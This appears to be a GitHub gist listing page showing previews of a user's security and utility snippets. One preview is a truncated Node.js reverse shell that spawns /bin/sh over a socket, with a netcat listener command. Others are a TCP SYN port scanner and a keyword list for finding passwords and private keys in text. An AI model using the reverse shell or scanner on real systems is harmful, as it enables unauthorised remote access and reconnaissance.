Skip to content

Instantly share code, notes, and snippets.

#!/usr/bin/env python3
import time
import sys
import math
import winsound
alarm_frequency = 1000 # Hertz
alarm_duration = 80 # ms
alarm_ascii = '''
RING RING RING
@secoats
secoats / ahocorasick_string_search.py
Created August 12, 2022 16:07
Python3 multiple word match in big texts with Aho-Corasick
#!/usr/bin/env python3
# pip3 install pyahocorasick
# Matching time: Θ(n + o) with n being length of the haystack, o being the number of occurrences
import ahocorasick
wordlist = [
"password",
"secret",
"privatekey",
"private_key",
@secoats
secoats / cors_wildcard_server.js
Created February 18, 2022 13:47
nodejs server with Cors Allow Origin Wildcard
var express = require('express');
var cors = require('cors');
var app = express();
// sudo apt install nodejs
// npm install express cors
// nodejs server.js
const PORT = 8888;
app.use(cors()); // Equivalent to Cors Allow Origin wildcard "*"
@secoats
secoats / syn_scan.py
Last active April 30, 2021 20:45
TCP SYN Scan in Python3
#!/usr/bin/env python3
# U+0A75
# sudo python3 syn_scan.py 127.0.0.1
import threading
from socket import *
import sys
if len(sys.argv) < 2:
print("ip param required")
sys.exit(1)
@secoats
secoats / nodejs_revshell.js
Created March 15, 2021 16:43
Nodejs Reverse Shell
// Stolen from: https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell
// Nodejs reverse shell
// listen with: nc -vlnp 5555
// adjust the ip address obviously
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
@secoats
secoats / hexdump.py
Created January 25, 2021 20:40
Simple Hex Dump in Python3
#!/usr/bin/env python3
def hexdump(bytes_input, width=16):
current = 0
end = len(bytes_input)
result = ""
while current < end:
byte_slice = bytes_input[current : current + width]
@secoats
secoats / scan_printout.py
Last active November 9, 2020 21:24
Scan printout with automatic line overwrite
#!/usr/bin/env python3
# Console print-out with automatic overwrite of negative results for scan tools and such.
# If you have multiple threads producing data, then you would probably need to create a dedicated worker thread for printing,
# with maybe a thread-safe queue supplying elements to print.
# Alternatively set prev_len to a constant value and truncate lines that are to long
# U+0A75
# add padding according to length of last line
def print_fluid(text, last_len, ending):
print(text + (" " * last_len), end=ending)
@secoats
secoats / xor_cipher.py
Last active October 12, 2020 22:57
Simple XOR Cipher in Python3
#!/usr/bin/env python3
# Simple XOR cipher
# U+0A75
def xor_cipher(data, key):
for i in range(len(data)): # iterate through the message bytes
j = i % len(key) # rotate index of key bytes (modulo)
data[i] = data[i] ^ key[j] # xor current data byte with key byte